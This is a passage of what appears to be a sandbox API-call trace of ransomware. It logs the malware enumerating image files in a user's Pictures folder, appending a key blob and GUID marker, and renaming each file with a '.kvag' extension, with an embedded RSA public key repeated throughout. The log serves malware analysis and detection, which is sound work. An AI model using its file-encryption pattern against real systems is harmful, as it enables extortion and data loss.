KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.088] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.089] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.089] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.089] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.089] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.089] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.089] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.089] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.089] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.089] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.089] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.090] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x617f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.090] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.090] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.090] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.090] CloseHandle (hObject=0x61c) returned 1 [0120.091] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\W5kM7vMzTh0L6va.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\w5km7vmzth0l6va.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\W5kM7vMzTh0L6va.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\w5km7vmzth0l6va.bmp.kvag")) returned 1 [0120.092] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dad29e0, ftCreationTime.dwHighDateTime=0x1d4d598, ftLastAccessTime.dwLowDateTime=0x922e4a70, ftLastAccessTime.dwHighDateTime=0x1d4ce80, ftLastWriteTime.dwLowDateTime=0x922e4a70, ftLastWriteTime.dwHighDateTime=0x1d4ce80, nFileSizeHigh=0x0, nFileSizeLow=0x1234b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="whuSlBZPh.jpg", cAlternateFileName="WHUSLB~1.JPG")) returned 1 [0120.092] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\whuSlBZPh.jpg") returned=".jpg" [0120.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\whuSlBZPh.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\whuslbzph.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.092] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=74571) returned 1 [0120.092] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.094] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12325, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.094] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.096] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1234b, lpOverlapped=0x0) returned 1 [0120.097] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.097] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.097] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.097] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.098] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.098] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.098] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.098] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.098] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.098] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.099] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.099] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.099] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.099] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.099] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1234b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.099] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.100] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.100] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.100] CloseHandle (hObject=0x61c) returned 1 [0120.101] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\whuSlBZPh.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\whuslbzph.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\whuSlBZPh.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\whuslbzph.jpg.kvag")) returned 1 [0120.102] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a954e0, ftCreationTime.dwHighDateTime=0x1d4d49a, ftLastAccessTime.dwLowDateTime=0x3355c920, ftLastAccessTime.dwHighDateTime=0x1d4cb96, ftLastWriteTime.dwLowDateTime=0x3355c920, ftLastWriteTime.dwHighDateTime=0x1d4cb96, nFileSizeHigh=0x0, nFileSizeLow=0x9a8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wuoRnmzpakY.jpg", cAlternateFileName="WUORNM~1.JPG")) returned 1 [0120.102] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wuoRnmzpakY.jpg") returned=".jpg" [0120.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wuoRnmzpakY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wuornmzpaky.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.103] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=39564) returned 1 [0120.103] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.104] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9a66, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.104] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.106] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x9a8c, lpOverlapped=0x0) returned 1 [0120.107] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.107] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.107] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.107] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.108] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.108] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.108] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.108] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.108] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.108] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.108] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.108] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.108] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.108] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.109] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9a8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.109] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.109] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.109] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.109] CloseHandle (hObject=0x61c) returned 1 [0120.110] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wuoRnmzpakY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wuornmzpaky.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wuoRnmzpakY.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wuornmzpaky.jpg.kvag")) returned 1 [0120.111] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca1dd1c0, ftCreationTime.dwHighDateTime=0x1d4ca85, ftLastAccessTime.dwLowDateTime=0x994e87e0, ftLastAccessTime.dwHighDateTime=0x1d4cd52, ftLastWriteTime.dwLowDateTime=0x994e87e0, ftLastWriteTime.dwHighDateTime=0x1d4cd52, nFileSizeHigh=0x0, nFileSizeLow=0x64bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wvBPa9.gif", cAlternateFileName="")) returned 1 [0120.111] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wvBPa9.gif") returned=".gif" [0120.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wvBPa9.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wvbpa9.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.111] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=25791) returned 1 [0120.111] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.113] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.113] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.115] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x64bf, lpOverlapped=0x0) returned 1 [0120.115] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.115] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.115] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.115] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.116] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.116] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.116] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.116] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.116] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.116] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.116] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.116] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.116] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.117] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.117] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x64bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.117] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.117] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.117] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.117] CloseHandle (hObject=0x61c) returned 1 [0120.118] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wvBPa9.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wvbpa9.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\wvBPa9.gif.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wvbpa9.gif.kvag")) returned 1 [0120.119] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x787de300, ftCreationTime.dwHighDateTime=0x1d4ce18, ftLastAccessTime.dwLowDateTime=0xae9fc040, ftLastAccessTime.dwHighDateTime=0x1d4cb0f, ftLastWriteTime.dwLowDateTime=0xae9fc040, ftLastWriteTime.dwHighDateTime=0x1d4cb0f, nFileSizeHigh=0x0, nFileSizeLow=0xb149, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X4f2vPCr2a.bmp", cAlternateFileName="X4F2VP~1.BMP")) returned 1 [0120.119] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X4f2vPCr2a.bmp") returned=".bmp" [0120.119] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X4f2vPCr2a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x4f2vpcr2a.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.120] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=45385) returned 1 [0120.120] VirtualAlloc (lpAddress=0x0, 